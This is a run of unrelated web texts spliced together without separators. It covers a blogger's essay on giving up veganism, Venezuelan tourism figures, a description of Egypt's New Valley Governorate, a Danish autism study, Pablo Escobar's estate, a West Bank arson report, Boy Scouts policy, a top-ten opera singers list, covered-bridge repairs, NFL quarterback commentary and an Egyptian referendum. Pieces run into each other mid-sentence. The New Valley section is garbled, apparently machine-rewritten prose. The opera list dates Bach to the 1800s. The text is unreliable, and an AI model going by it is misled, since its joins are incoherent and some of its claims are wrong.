As I learned while sitting at the metaphorical feet of the world’s leading revolutionary ecologists and food rights advocates, the only way for humanity to survive in any meaningfully sustainable way is for us to live entirely within our local food systems, eating the plants and animals that naturally live on our immediate landbase. And this most definitely does not include millions of acres of grains, the cultivation of which is amenable to only very small parts of the globe. To produce the vegan foods that I used to consider so cruelty-free; modern, industrialized agriculture forces land to grow crops that are alien and unnatural to it, robs the planet of its resources, destroys whole eco-systems, wipes out entire species of plants and animals, and creates a chaos of death and destruction as more and more wild land is needed to replace the devastated cropland.
This planetary devastation (and the resulting socio-cultural ramifications) has been going on far longer than the advent of factory farms, which were only introduced in the past several decades. Of course, just like any decent human being, I abhor the evil that is factory farming, and I stand opposed to their slavery, torture, and abuse. I also recognize that the massive production of grain is what led to the creation of factory farms in the first place; they simply would not have been possible otherwise. We do not grow so much grain because we want to have factory farms; we have factory farms because we are growing such an avalanche of grain. Veganism, while coming from a decent place of compassion, is ultimately short sighted and does not fix our problems. Truly local, preferably wild food is the only way we can live without causing devastation to this planet. And living truly locally, without massive consumption of monocrop industrialized grains or soy, in almost every part of the world necessitates the use and consumption of animals for us to be healthy.
As a vegan I didn’t like to think about the fact that without animals’ waste products, bones, and blood, farming is literally a zero sum game.
It broke my vegan heart to learn how unavoidably essential it is for humans to stop the use of fossil fuel fertilizers and reintegrate animals back into farm life. As a vegan I didn’t like to think about the fact that without animals’ waste products, bones, and blood, farming is literally a zero sum game. Without organic matter to feed the plants and the hungry soil, the precious topsoil will die and nothing can grow, a fact of life we are seeing play out around the globe as the millions of fossil fuel dependent farms collapse. When we expend resources like water and food on animals we are repaid tenfold. Not only does the water and food get used again in the form of manure that nourishes the soil in a way simple water never can, but the animals are eaten by us, and the remnants of their bodies used to feed the hungry earth. It was shocking to realize I had been expounding on the need to transform agriculture and farming without even knowing the bare minimum of what it takes to keep an ecosystem healthy. I now realize that the statistics I used to quote about environmental devastation, grain and water consumption, pollution, and ill health, were all based on numbers from factory farms, not from the realities of traditional land base specific farming, which is the only kind of farming that can heal our planet and us.
From now on I will choose the deaths that keep me and the planet healthy.
When I stopped merely talking about food advocacy, and started listening to people living on the front lines of the global food justice struggle, I had my eyes irrevocably opened. I realized that in many ways veganism removes us from our place in the natural scheme of things, denies our necessary participation in the food cycle, and makes the natural world into an alien realm that we can no longer fully understand. Vegans like to say that it is our intentions that matter, but I ask ‘matter to who?’ I now believe that instead of arbitrarily deciding that the deaths caused by veganism are okay, while the deaths caused by omnivores are unforgiveable, and that some animal deaths should be prevented at all costs while others are a necessary evil, we have to abolish the entire fabricated hierarchy we have constructed and come to terms with the cycle of life and death. We are all of us on this earth connected, and ultimately, death is a necessary, unavoidable part of life. Whether it is the animal deaths caused by a vegan diet that forces the planet into an unnatural and unsustainable cycle of production while failing to provide many of us with necessary nutrients, or it is the deaths caused by a close looped animal integrated farm cultivated to grow its natural bounty in traditional ways, there will always be death on our plates. From now on I will choose the deaths that keep me and the planet healthy.
Obviously, the planet cannot support 7 billion people in any meaningfully sustainable way, vegan or not. Therefore, an integral part of us being able to live in a genuinely environmentally respectful way is not for us all to go vegan, but for us to lower the birthrate and the population so we can live truly locally. First and foremost this will require the advancement of women’s rights and the global empowerment of women. (It really is amazing just how much feminism can accomplish!) As for world hunger, all of you who have read my world hunger articles know there is already more than enough food produced to feed everyone on the planet generously. Capitalism has turned food, and especially grains, into a commodity, a weapon of war, and a way to make a profit, instead of the inalienable right it should be. The way to prevent hunger is not to feed the starving masses the food we currently feed to animals (excess food production and the resulting food dumping is one of the causes of hunger in the first place), but for the chronically hungry people to throw off the shackles of neo-imperialism and to gain back control of their local food systems.
Most ecosystems on this planet simply cannot support annual grain agriculture, and the urging by vegans for the inhabitants to adopt a vegan lifestyle anyway is damning them to an eventually desiccated land base and inevitable starvation.
In my own life my decision to return to my omnivorous ways is drastically shrinking my carbon footprint. The truth that as a vegan I did not like to face is that most places on this planet are not suited for annual grain agriculture, but for a mix of plant and animal husbandry. Most ecosystems on this planet simply cannot support annual grain agriculture, and the urging by vegans for the inhabitants to adopt a vegan lifestyle anyway is damning them to an eventually desiccated land base and inevitable starvation. Saudi Arabia, where I live, is one of those places. Now, instead of relying on grains and beans grown overseas with pesticides and seriously unsustainable farming methods to form the bulk of my diet, I can now turn my focus towards local animal products, such as goat, lamb, or chicken. For example, I can go to the local market and buy goat meat from goat herds that graze just a few miles away over the open desert, herded by Bedouins from oasis to oasis in a centuries’ old tradition. These goats make use of the dry and scrubby land that would be completely unsuitable for crop farming and they drink ancient artisanal well water. If the land they use was transformed into huge swathes of crop fields it would require staggering amounts of synthetic fertilizer and imported water, and it would wreck the delicate ecosystem that currently exists in the desert. Not only do I feel better physically and mentally as an omnivore, but my choices are much more consistent with my conviction that we need to live as ethically and sustainably as possible within our local community.
Whether it is the staggering destruction caused by factory farms, or the slightly less staggering but no less devastating destruction caused by vegan agriculture, our planet is being irrevocably annihilated and we must stop treating the symptoms of this disease and abandon short term solutions. We can’t shop our way out of this crisis, personal solutions are not enough. Presenting veganism as a panacea that will stop global warming, save all the animals, and feed the starving masses is nearsighted and unfounded. And it shames me, as an academic, that I ever let myself believe it. We must instead focus our efforts on a complete reimagining of the way we live on this planet. Anything less is suicide.
Part 4 – Where Do I Go From Here?
While my original choice to be a vegan stemmed from the always noble impulse to do the right thing and be as compassionate as possible, it was a mistake and a choice I should never have made. If I had done my research and actually asked the hard questions from the beginning instead of letting the graphic images of factory farms guide me, I would have saved myself 3 years of misguided efforts as well as the deterioration of my physical and emotional health. If I had adhered to the rigorous academic standards that I hold myself to in all other aspects of my life I could have spent this time fighting effectively towards real solutions, as well as feeling healthy and happy. I wish I had also taken a look at myself and how I had always felt the best. I spent my life thriving on meat and was healthier than anyone. I should have recognized that I come from a long line of preternaturally healthy and impervious meat eaters, from as far back as anyone can remember. My body has always known what I need to be healthy, and yet I ignored that and for far too long sacrificed my health.
Many people have suggested that I should only eat animal products that I loathe or that disgust me, so I would be sure never to take pleasure in the act of eating meat. It saddens me now that I actually considered this for a while. After giving it some thought, I wondered why should constant revulsion and grief at every meal be the price I pay for staying healthy? Why shouldn’t I cook the most delicious meals and revel in the pleasure of eating fabulous, healthy, and amazing food? I eventually realized that it is okay for me to take joy in cooking a steak, or daydream pleasurably about all the many ways to cook my evening salmon. I refuse to play the game that so many women (vegan or not) are forced to play by our violently woman hating society; I will never feel shame or guilt for eating what my body wants and needs to be healthy. I will take joy and shameless, undeniable pleasure in every glorious bite. I will be grateful and thankful and celebratory at all times, while never forgetting the lesson that I learned about listening to my body and respecting the fact that I deserve to be healthy and happy.
I am sure that many of you will be upset or disappointed about my announcement. Some of you might even try to rationalize my ‘failure’ or ignore my experience so you don’t have to face the possibility that veganism might not be the only way to live. Many of you might even be angry with me, after all you thought of me as an ally, some of you even went vegan partly because of me. I hope you are able to realize that I have to do what I believe is best, and what I believe is right for me. And if you happen to be a healthy and happy vegan, then I am happy for you! Keep on doing what works in your life, but maybe take away from my story that veganism is not always the best thing we can do for our own health or for the planet or for the animals. And if you are vegan and you don’t feel as healthy as you used to or as you would like, don’t waste any time in figuring out what is wrong and doing whatever you need to do to get better. You deserve to be healthy and happy, too.
The past few months have been humbling and painful, but ultimately happy. I started on this path in the depths of despair, my eyes almost permanently swollen shut by so much crying, wondering where to go from here, what to do. Who could I tell, what would they say? Should I keep it a secret or blog about it, or just drop off the face of the earth and never update my blog again? I thought long and hard about my blog, my precious personal space for sharing my silliest stories, goofiest photos, and absolute favorite recipes. I didn’t want to let it go, but how could I continue? As soon as I made this announcement I knew I would get hate mail. In fact, just from remarks on twitter and other blogs, I’ve already been inundated with angry letters accusing me of being an anti-vegan troll who has been plotting this for years, or in the employ of the meat industry.
So, I knew I would get hate mail as soon as I made this announcement but I didn’t feel right keeping it secret any longer. I am by nature a painfully honest person. But once the announcement was made, I wondered, what do I do then? Keep blogging? Stop blogging? Do I take pictures of the meat, or only show my vegan meals? I didn’t want to hide a part of my life as if I was ashamed of it. I didn’t want to deny the very decision that has restored my health and happiness by never breathing a word of my food choices to anyone. Most of all, I wanted to keep blogging because I love food. I love thinking about it, writing about it, cooking it, and most of all eating it. I love food and I love being a food blogger. I adore the community, the friends, the laughs, the memories. I don’t want to give any of it up. So, I’m going to continue. My life is so yummy – I want to share every single bite!
-Tasha, voraciouseats.com
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change crisis forced a deregulation of trade. Now consumers can buy practically anything they want, Indian companies have gained in competitiveness and the population has become markedly richer. That’s the kind of country the US should want to be. BloombergLiverpool, May 17th 2012 (Venezuelanalysis.com) – A total of 312,725 international tourists have visited Venezuela between January and April 2012, a figure which represents almost a 50% increase compared with the same period last year.
The figures concerning the country’s tourism industry were confirmed on Wednesday by tourism minister Andrew Fleming, on television show Contragolpe. The minister said that the government’s attempts to promote the country’s image abroad were beginning to make headway in spite of an international campaign in the media to depict the Venezuela as a violent crime hotspot.
“The media says that Venezuela is unsafe, unstable and dangerous; that the revolution, commander-president Chavez, his government and we revolutionaries eat people. The revolution has managed to break and knock down this media mould... which has dealt with the image of Venezuela in a disrespectful and even irresponsible way,” he said
Fleming pointed out that whilst Mexico was a much more violent country than Venezuela, it enjoyed a booming tourist industry as a result of its sympathetic treatment in the press, with visitors coming to visit the Central American country from all over the world. The minister also announced that the government would look to increase the amount of tourists visiting Venezuela in the coming years in light of the new figures.
“We thought that in the medium term the goal was to try and get about 1 million tourists travelling to Venezuela, but with this growth we have been obliged to reformulate this goal, which is the result of a promotional campaign,” he added.
According to Minister Fleming, the rise in tourist numbers to the country can also be attributed to increased government investment in transport, recreational and cultural facilities in recent years.
Most tourism to Venezuela comes from other Latin American countries such as Colombia, Brazil and Argentina, with visitors from European countries such as Germany, France, Italy and the United Kingdom coming in second. The government has also said that it will try and increase its tourism links with both China and Russia.New Valley Governorate
New Valley Governorate is one of the 27 governorates of Egypt and is situated in the southwestern part of the country. It includes some of the Libyan desert area of the Sahara desert, between northern Sudan, the Nile and southeastern Libya.
Comprising of nearly one-third of Egypt, the New Valley Governorate is the country’s largest governorates and one of the biggest regions on the African continent. Its capital is Kharga, within the Kharga Oasis.
History
Violent clashes were reported in Wadi al-Jahidon February 2011, as a part of the 2011 Egyptian revolution. Protesters set fire to the police stations and the National Democratic Party building. Multiple deaths were reported along with hundreds of injuries among claims that the police opened fire on protesters in Kharga Oasis with live ammunition.
Qasr Farafra is a distant town in the Al Farafah district. There are almost 5000 Bedouins living in the town. It is a small oasis town right in the desert, with a few green sectors and some water for the residents to survive.
An unfortunate reality
Epilepsy is one of the most serious neurological disorders which outcomes in profound morbidity and mortality. Though epilepsy has no geographical boundaries, realizing social, cultural, and economic backgrounds is a very vital step for the interpretation of its epidemiological features. This work targets to study the epidemiological profile of epilepsy in New Valley Governorate and to estimate its magnitude of the treatment gap. It was conducted through a door to door Survey, comprising all inhabitants. All the suspected cases were subjected to the comprehensive history. The clinical examination should be made if required.
The study revealed that lifetime prevalence of epilepsy in Al Kharga districts is 6.76 with the highest peak during early childhood, while that active epilepsy is just 4.99 part of the population. Nonetheless, the treatment gap of epilepsy in New Valley is similar to that in developing countries. Incidence and Prevalence of the rate of epilepsy n New Valley are similar to that in the industrialized countries.
With aging, dementia is a problem that is noticed in numerous people all over the world. The goal is to work to decide the prevalence of dementia among the population of this area.
Screening all the subjects over 50 years of age was done through a regular survey by 3 neurologists, utilizing a short standardized Arabic screening test and a modified Mini-mental State examination. Suspected cases were subjected to full clinical examination, psychometric assessment utilizing the cognitive abilities of the screening instrument. Proper treatment of this treatment in this area makes it one of the best and urbanized areas of this region.
Why stay here
All these qualities make this place an ideal place for everybody where people would love to stay and also will love to travel. All you have to do is gather all the necessary information about the services available in this area. It is also very simple to fly to this region and that also at very reasonable rates. You just have to pick the ideal place to stay according to your budget.Young boys continue to have the highest rate of autism diagnoses, but Danish doctors are diagnosing more girls, teenagers and adults with the disorder than they did in the mid-1990s. That’s the finding from a 16-year study published 20 February in the Journal of Autism and Developmental Disorders1.
Many studies look at the prevalence of autism, akin to taking a snapshot of the number of diagnoses in a given population. The new study instead examined the disorder’s incidence, or newly reported diagnoses, each year.
Between 1995 and 2010, nearly 15,000 people received a new diagnosis of autism in Denmark, the study found. During that time, the incidence of autism overall increased from 9 diagnoses per 100,000 people to 38.6.
“We know that the incidence rates of autism spectrum disorders have increased in the last two decades, so we weren’t actually surprised about the increases,” says principal investigator Marlene Lauritsen, associate professor of child and adolescent psychiatry at Aalborg University in Denmark. “But we were surprised about most of the patients we saw the largest increases in.”
For instance, the number of males with a new autism diagnosis quadrupled from 13.2 per 100,000 people in 1995 to 58 in 2010. In the same time period, female diagnoses increased sevenfold from 2.6 to 18.6 per 100,000 people.
The greatest increase in incidence among girls came from diagnoses of two subcategories of autism, Asperger syndrome and pervasive developmental disorder-not otherwise specified (PDD-NOS). Both categories are being subsumed into the autism diagnosis in the newest edition of the Diagnostic and Statistical Manual (DSM-5), the American Psychiatric Association’s guidelines for diagnosis. And both are generally thought to represent the higher-functioning end of the autism spectrum.
“That is in a way interesting because it goes against the idea that girls are always more severely afflicted [than boys],” says Eric Fombonne, professor of psychiatry at Oregon Health and Science University, who was not involved in the research.
Incidence inquiry:
The researchers examined records from the Danish Psychiatric Central Research Registry, which contains reports on inpatient and outpatient care and diagnoses in Denmark.
To standardize the definition of autism spectrum disorders in the study, the researchers included only people up to 65 years of age who were diagnosed by a doctor using the tenth edition of the International Classification of Diseases, a publication of the World Health Organization and the DSM-5’s international counterpart. The ICD-10 was last revised in 1994 and still lists Asperger syndrome and PDD-NOS as diagnoses independent of autism. Its next edition is expected in 2017.
Boys are diagnosed more often than girls and at younger ages, the study found. On average, boys receive a diagnosis at 9 years versus an average of 11 years for girls.
In boys, the sharpest uptick over the study period is in childhood autism — a subtype of the disorder in which symptoms appear before 3 years of age — from 2.1 cases for every 100,000 people in 1995 to 17.6 in 2010. Another spike is in rates for PDD-NOS, which increased fivefold to 25.8 per 100,000.
In girls, new cases of PDD-NOS showed the steepest gains, jumping 11-fold from 0.8 cases to 9.3 per 100,000 people. Diagnoses of Asperger syndrome increased from 0.6 cases per 100,000 in 1995 to 5.8 in 2010.
Better diagnostic practices may explain these large hikes in incidence, says Maureen Durkin, professor of population health sciences and pediatrics at the University of Wisconsin in Madison.
“There’s much more awareness of autism,” say Durkin, who was not involved in the study. “There’s much more screening going on. And the newer generation of clinicians are being trained in this so they are more likely to see it.”
This increased attention to autism and its symptoms may also explain the rise in diagnoses of teenagers and adults.
An age-stratified analysis shows that children between the ages of 4 and 13 make up about 63 percent of the new autism cases. The fastest acceleration in new cases is in those diagnosed between 14 and 20 years of age.
Individuals diagnosed between 21 and 65 years of age account for about 9 percent of the new cases — but their proportion also significantly increased over the time frame of the study. Like girls, many of the adults are diagnosed with higher-functioning forms of autism, such as Asperger syndrome and PDD-NOS.
“If the incidence [in adults] is increasing, it just has to do with recognition of cases that have been missed up to that age,” Fombonne says. “It cannot be that you develop autism at age 50.”
Overall, PDD-NOS diagnoses show steep growth, just behind childhood autism. However, Lauritsen says, PDD-NOS is not as well defined as other autism subtypes such as Asperger syndrome.
“In [PDD-NOS], you can have children that we think are on the border of the autism spectrum,” she says. “We could think they are socially impaired, but it’s not quite clear that it’s autistic behavior.”
Individuals diagnosed with PDD-NOS often have social deficits but lack repetitive behaviors, a core symptom of autism. Studies suggest that under DSM-5 guidelines, some people with PDD-NOS would fall into a new category called social communication disorder rather than autism.
References:
1: Jensen C.M. et al. J. Autism Dev. Disord. Epub ahead of print (2014) PubMedCoordinates:
Hacienda Nápoles (Spanish for "Naples Estate") was the luxurious estate built and owned by Colombian drug lord Pablo Escobar in Puerto Triunfo, Antioquia Department, Colombia, approximately 150 km (93 mi) east of Medellín and 249 km (155 mi) northwest of Bogotá. The estate covers about 20 km2 (7.7 sq mi) of land. Following Escobar's death in 1993, many of the original buildings on the property were demolished or reconditioned for other uses.
History [ edit ]
Main entrance
Popular waterslides at the amusement park
The estate included a Spanish colonial house, a sculpture park, and a complete zoo that included many kinds of animals from different continents such as antelope, elephants, exotic birds, giraffes, hippopotamuses, ostriches, and ponies. The ranch also boasted a large collection of old and luxury cars and bikes, a private airport, a bullring, and even a kart-racing track. Mounted atop the hacienda's entrance gate is a replica of the Piper PA-18 Super Cub airplane (tail number HK-617-P) which transported Escobar's first shipment of cocaine to the United States.[1]
After Escobar was shot and killed by Colombian police in 1993, his family entered a legal struggle with the Colombian government over the property. The government prevailed, and the neglected property is now managed by the Municipality of Puerto Triunfo. The cost of maintenance for the zoo and the animals was too expensive for the government, so it was decided that most of the animals would be donated to Colombian and international zoos.
Other original features include dinosaur statues[1] built with bones[citation needed] in a section of the estate, along with prehistoric animal statues (such as the mammoth) that children can climb and play on,[citation needed] as well as decommissioned military vehicles and a giant hand sculpture.[1]
By November 2006, ownership of the property had passed to the Colombian government and was valued at 5 billion Colombian pesos (approximately $2.23 million).[2] The hacienda's zoo as off February 2019 hosts bison, a rare goat, one ostrich, and zebras. Escobar's hippopotamuses have escaped and become feral, living in at least four lakes in the area and spreading into neighbouring rivers. Contact between the hippos and local fishermen have led to calls for the hippo population to be culled. By 2011, there were at least 30 animals roaming wild in the countryside; the large number of hippos makes it difficult to find zoos into which they can be resettled.[3] There are also reportedly 40 hippopotamuses living on the grounds of the hacienda itself;[4] as of June 2014, the park's mascot, a live female hippo named Vanessa (who responds to her name), remains at the site.[3]
In 2014, a "Jurassic Park"-style African theme park was operating on the grounds, which have been rented by a private company. "Parque Temático Hacienda Nápoles" comes complete with a water park, a guided safari attraction, aquariums, and a replica of the caves in Colombia's Cueva de los Guácharos National Park.[5] In December 2018, a day ticket to the park cost 42,000 pesos (around $15).[4] The Escobar museum, his burned private car collection, and the abandoned "ruins" of his house are still publicly accessible, but are reported to have collapsed in February 2015.[6]
Escobar kept four hippos in a private menagerie at Hacienda Nápoles. They were deemed too difficult to seize and move after Escobar's death, and hence left on the untended estate. By 2007, the animals had multiplied to 16 and had taken to roaming the area for food in the nearby Magdalena River.[7] The National Geographic Channel produced a documentary about them titled Cocaine Hippos.[8] A report published in a Yale student magazine noted that local environmentalists are campaigning to protect the animals, although there is no clear plan for what will happen to them.[9] In 2018, National Geographic published another article on the hippos which found disagreement among environmentalists on whether they were having a positive or negative impact, but that conservationists and locals - particularly those in the tourism industry - were mostly in support of their continued presence.[10]Story highlights The injured included the toddler's parents and brother, authorities say
The baby killed was about 18 months old
(CNN) A Palestinian's home was burned during a "price tag" attack Friday that killed a toddler and critically injured at least three other relatives, Israeli and Palestinian officials said.
The injured were the toddler's parents and a brother, said Ghassan Douglass, a Palestinian official in charge of settlement activity north of the West Bank, where the attack occurred.
The boy who died, Ali Saad Dawabsha, was about 18 months old, Douglass said.
Authorities found the words "price tag" on the walls of the house in Duma, said Luba Samri, a spokeswoman for Israeli police.
A "price tag" attack is a term used by radical Israeli settlers to denote reprisal against Palestinians in response to moves by the Israeli government to evacuate illegal West Bank outposts, according to officials.
Read MoreThe Boy Scouts of America’s decision Monday to do away with its ban on gay scout leaders has prompted the creation of a gay-friendly Boy Scout troop in Salt Lake City.
Drew Reese has a long history with the Boy Scouts but says he was never open about his sexuality because the organization prohibited gay scouts and leaders from participating.
“For the first time there will be a fully inclusive Troop in The Great Salt Lake Council and there’s nothing that they can do to prevent that from happening,” Reese says.
Reese is forming a scout troop in Salt Lake City that accepts all boys and men into the program regardless of their sexual orientation. The Great Salt Lake Council had previously denied charters for such an organization. The council did not respond to a request for comment.
“Now that those doors are open, people like myself will have an opportunity to give back to this program that has given us so much when we were growing up,” Reese says.
The policy says chartering organizations like the LDS Church, can maintain guidelines for their adult leaders. But Derek Monson with the conservative think tank Sutherland Institute worries a judge could interpret the policy differently.
“Eventually the lawsuits are going to come and we’ll have to see if this policy is legally valid or if the courts are going to say no you cannot maintain your identity as a religious organization or religious believer in sexual morality if the national BSA doesn’t maintain that same kind of policy,” Monson says.
The LDS Church released a statement saying in light of the change, its century-long association with the Scouting will need to be examined.Opera has long been mistaken to be purely singing. Besides the orchestral music, acting, stage presence and interpretation of the music are what separates a diva from a group of singers. The voice in opera is usually split in to sopranos, mezzo-sopranos, tenors, baritones and basses. You might notice that sopranos and tenors make up 90% of the list. After all, it’s only over when the fat lady sings.
10 Elisabeth Schwarzkopf (1915-2006) Soprano (Lyric)
http://www.youtube.com/watch?v=WDrl1NBdwts
Dame Elisabeth Schwarzkopf was one of the greatest opera singers that lived to recording age. She performed her first opera Orfeo ed Euridice at age 13 in Germany. In an ironic turn of luck, her father was censored by the Nazis, resulting in her inability to study medicine. Her beautifully lyric sound made her ideal for Classical operas, such as Mozart and the operettas of Johann Strauss Jr. and Jacques Offenbach. Her lyricism also made her perfect for the German Lieds. Aside from the regular Schubert, she also shared affinity with the works of Hugo Wolf.
9 Nicolai Gedda (1925- ) Tenor (Lyric)
Nicolai Gedda, a Swede, was discovered after his performance of Mussorgsky’s Boris Godunov. After a short period as a moderately successful performer, his shot to fame with the aria “Mes amis, écoutez l’histoire” by Adolphe Adam. This most difficult tenor aria to date reaches an incredible high D, whereas other singers and tenors view the famous top C as the limit of the tenor’s range. Performing a great range of operas, he continues to perform due to his unusually long life. In 2003, he recorded Mozart’s Idomeneo, aged 78.
8 Leontyne Price (1927- ) Soprano (Spinto)
http://www.youtube.com/watch?v=_KRGV-Xcbx4
One of the first African-Americans to be accepted to be a “proper” opera singer, and a little unfortunately still known for her performances in the American opera (debatable) Porgy and Bess. Though the opera seems made for her, the other operas in her repertoire should not be forgotten. Her spin to genre of voice makes her extremely suitable for the rather melodramatic sopranos of Verdi and Puccini. That said, her rendition of Summertime from Porgy and Bess is still a highlight of the entire operatic repertoire.
7 Fritz Wunderlich (1930-1966) Tenor (Lyric)
Fritz Wunderlich probably has the sweetest and most lyric voice in all the tenors. The purity and cleanliness of his voice is instantly recognizable, and made him a superstar early on in his career. His light voice is a stark difference to the German tastes in music then; they preferred heavy Wagnerian voices. However, it allowed him to pursue the Italian operas of Mozart and Verdi. Most of the recordings of him are German translations of the text, due to a common norm of the time to perform in the local language. His work in Lied is perhaps only second to number 1.
6 Kirsten Flagstad (1895-1962) Soprano (Dramatic/Wagnerian)
http://www.youtube.com/watch?v=TkWjYLv7tzc
Wagner’s operas sought to break away from the Italian/French traditions, and thus sat in a genre of his own. The singers demanded are also of a rather different variety. They are almost all of the dramatic strain in the Fach (voice categories), making them powerful and loud (some called in the Wagnerian Bark). These are qualities not associated with sopranos. Flagstad, however, has a beauty in the roughness of delivery, showing the dramatization of Wagner’s fairytales and yet maintain the dignity and gracefulness of a diva.
5 Luciano Pavarotti (1935-2007) Tenor (Lyric)
The most well-known, Pavarotti has crossed boundaries with his art, becoming a global superstar. His early performance of the aria Pour mon âme, with a breathtaking 9 high Cs gave him the title “King of the High Cs”. His early career included many operas, ranging from the bel canto-styled operas of Donizetti to the modern works of Richard Strauss. The year of 1990, however, would turn out to be one of the highlights of his career. The FIFA World Cup was held in Italy that year, and Pavarotti’s rendition of Nessun Dorma! was chosen to be the theme song of news coverage. It immediately appealed to thousands of non-music listeners, allowing that aria to become part of popular culture.
4 Joan Sutherland (1926-2010) Soprano (Coloratura)
Responsible for bringing Pavarotti to fame, Sutherland is probably one of the most important sopranos of our times. Her early fame and popularity was due to her gifted high notes, reaching wonderfully soaring notes with ease. Whilst most coloraturas are merely bright and loud, Sutherland was able, when the drama required it, to insert some lyricism into the coloratura arias. A slight complaint some had with her was her unclear words, heeding which she studied the languages of Italian and German to better her pronunciation. She regularly added a wide range of operas into her repertoire, most successfully the bel canto operas. Without doubt, she deserved the nickname “La Stupenda.”
3 Plácido Domingo (1941- ) Tenor (Spinto)
Performing more roles than any other tenor (136 as of July 2011), Domingo has taken a role of a Godfather for modern tenors. His decision to sing the title role of Verdi’s Otello drew much criticism from his management, who were inclined to believe Domingo’s voice was not suitable for the highly powerful and dramatic Othello. Nevertheless, the performance turned out to be legendary and the short opening speech Esultate! has become one of the greatest highlights of his career. Domingo’s versatile voice suits him to many roles, ranging from Wagnerian roles in Die Walküre to Verdi’s Rigoletto, to the operettas of Lehár and even Mahler’s song-cycles.
2 Maria Callas (1923-1977) Soprano (Lyric)
Her voice has a coarseness and impurity which most would not think to be desirable. However, her rough voice has a magical quality that causes so many generations of listeners to fall in love with it. Her vocal timbre can be described, in its barest, as grainy and strained. Perhaps it is this ‘imperfection’ that imbued a kind of soul into her singing, a uniqueness that no other can remake. Callas mainly focused on the bel canto operas. However, she is also extremely at home with the standard Italian repertoire, contributing much to the pantheon of opera recordings in the early days of commercial classical CDs. Whilst in her time she was embroiled in many scandals, she is remembered today for her wonderful voice. She is rightfully “La Divina.”
1 Dietrich Fischer-Dieskau (1925- ) Baritone (Lyric)
A note should be made here that this is my personal favorite singer, and that many others would naturally put him in the top 1. Fischer-Dieskau’s appeal stems from his intricate interpretations of all the roles and pieces he sings. This is especially true in his recordings of Lied, where he is unsurpassed (Look for Der Erlkönig on Youtube, there has not been a singer able to eclipse his performance). He seems to prefer lighter roles, such as in Lieds, Mozartian operas or Masses and other sacred pieces. However, his voice is capable of the heaviness demanded of most operatic baritones, as seen by his performances as Wolfram in Tannhaüser and Scarpia in Tosca. Boasting a huge repertoire, he sings music from Bach in the 1800s to works of his contemporaries. Whilst he is usually associated with Lied, his operatic œuvre is nonetheless impressive.PennDOT plans to begin work this summer to rehabilitate three covered bridges in Chester County to their historic standard, according to an announcement from State Senator Andy Dinniman
PennDOT recently awarded a $3.2 million contract to Eastern Highway Specialists. Inc. of Wilmington, Del., to rehabilitate the following bridges:
The Rapps Dam Covered Bridge in East Pikeland.
The Speakman Covered Bridge in West Marlborough.
The Knox Covered Bridge located in Valley Forge National Historic Park in Tredyffrin Township.
"Pennsylvania is home to the most covered bridges in the nation and here in Chester County we continue to work to preserve and maintain our historic covered bridges," Dinniman said. "I am especially pleased to see Speakman's Covered Bridge being restored as I have been working with community partners to preserve its historic status since 2012."
Work on the Rapps Dam Covered Bridge will begin in June. The contractor will then proceed to work on the Speakman Covered Bridge and the Knox Covered Bridge. The entire project is expected to be completed in September of next year.
The Rapps Dam Covered Bridge has been closed since last spring when it sustained severe structural damage after being struck by an oversized truck. The project calls for repairing the Burr Arch truss; installing new ceiling joists and knee braces; and replacing the wooden cross members of the roof.
The Speakman Covered Bridge projects involves the replacement of the substructure; the reconstruction of the support abutments and wing walls; and the reassembly and replacement of necessary timber members. The project will reuse as much of the existing structure as possible.
Improvements to the Knox Covered Bridge include the rehabilitation of the superstructure; and the reconstruction of four wing walls and stone masonry parapets.
The Rapps Dam Bridge and the Speakman Covered Bridge are both listed on the National Register of Historic Places. The Knox Covered Bridge is eligible for such a listing.JACKSONVILLE, Fla. -- Doug Marrone’s decision to have Blake Bortles and Chad Henne compete to be the Jacksonville Jaguars' starting quarterback is the correct one.
It’s also one that should have been made in February.
Instead of trying to fix an inconsistent quarterback who struggles with his decision-making and turns the ball over on average more than once per game over the past three seasons, the Jaguars should have brought in competition. Sign one in free agency. Draft one in April.
In three seasons as the Jaguars' starting quarterback, Blake Bortles has just 11 wins -- and 11 pick-sixes. Sam Greenwood/Getty Images
There were options available: Brian Hoyer, Jay Cutler, Mike Glennon and Nick Foles were free agents. Even if the Jaguars were dead set on Leonard Fournette and didn’t want to take a quarterback in the early rounds of the draft, they had options there, too: C.J. Beathard (third round by San Francisco) or Nathan Peterman (fifth round by Buffalo), for example.
The Jaguars should have brought in somebody to battle Bortles, Henne and Brandon Allen in organized team activities, minicamp and training camp. The Jaguars’ plan to significantly increase Bortles' practice reps (he said he has thrown the ball more in this camp than the previous three combined) so he could learn to make better decisions and have a better grasp of the offense turned out to be a waste of time.
Here’s what Bortles said about those increased reps earlier this week:
“We’re still making mistakes, and we’ve had thousands of reps,” he said. “Imagine if we only had 500, it would be probably way worse. I think the only way to eliminate those mistakes is continue to do it and continue to do it and continue to correct it in meetings until it’s beaten in your head that you know how to do it.”
That’s an alarming statement. Still making mistakes after thousands of reps is bad news. If you’re unable to eliminate mistakes after all that work, you’re in trouble. While Bortles was talking about the entire offense, it applies to his play, too.
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Bortles hasn’t been any better or worse over the three weeks of training camp and two preseason games than he was last season -- or the season before. He’s still staring down receivers. He’s still making poor decisions. He’s still misfiring on throws that should be practically automatic for NFL quarterbacks (crossing patterns, especially).
Bortles has turned the ball over more times (63) than anyone else and thrown the second-most interceptions (51) in the NFL over the past three seasons. He’s 11-34 as a starter, and according to ESPN Stats & Information, that’s the worst win percentage (.244) of any quarterback taken in the top three of the common draft era (since 1967) with at least 40 starts.
The other stat that we’ve beaten to death: He has thrown 11 pick-sixes.
So taking all that into consideration, it now looks borderline irresponsible that the Jaguars did not bring in someone in the offseason to challenge Bortles. Or at the very least give Henne a fair shot at winning the job when training camp began.
At least they’re doing it now.
“It’s just a matter of the production,” Marrone said. “It’s not the production we want, OK. I’m not saying that Chad has it or not. It’s right up there for grabs, and either person can take it. But it’s up there, and we’ll take a look at it, and at the end of the day, we’ll make the best decision. Again, who is the best person?
“It’s very simple. Who is the best person to put in that position to lead the offense?”$$ TV LAND CASTING PRINCIPALS $$
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APPLY HERE NOWCritics say proposed amendments to constitution do not go far enough and leave revolution's youth movements out in the cold
Millions of Egyptians will vote on Saturday in the country's first democratic election since Hosni Mubarak was toppled as president after 18 days of street protests.
In a key test for the military authorities overseeing Egypt's transition to democracy, voters are being asked to support or reject a package of constitutional amendments drawn up by a special committee of legal experts.
After decades of elections that featured only a single candidate or were blatantly rigged, Saturday's referendum is the first ballot in modern Egyptian history in which the outcome is genuinely unknown. The landmark vote is also proving deeply divisive and comes at a critical juncture for the nation's revolution, with pro-change activists accusing the army of using brutality and torture in an attempt to shut down dissent, and the newly appointed prime minister warning that a counter revolution could destroy the state.
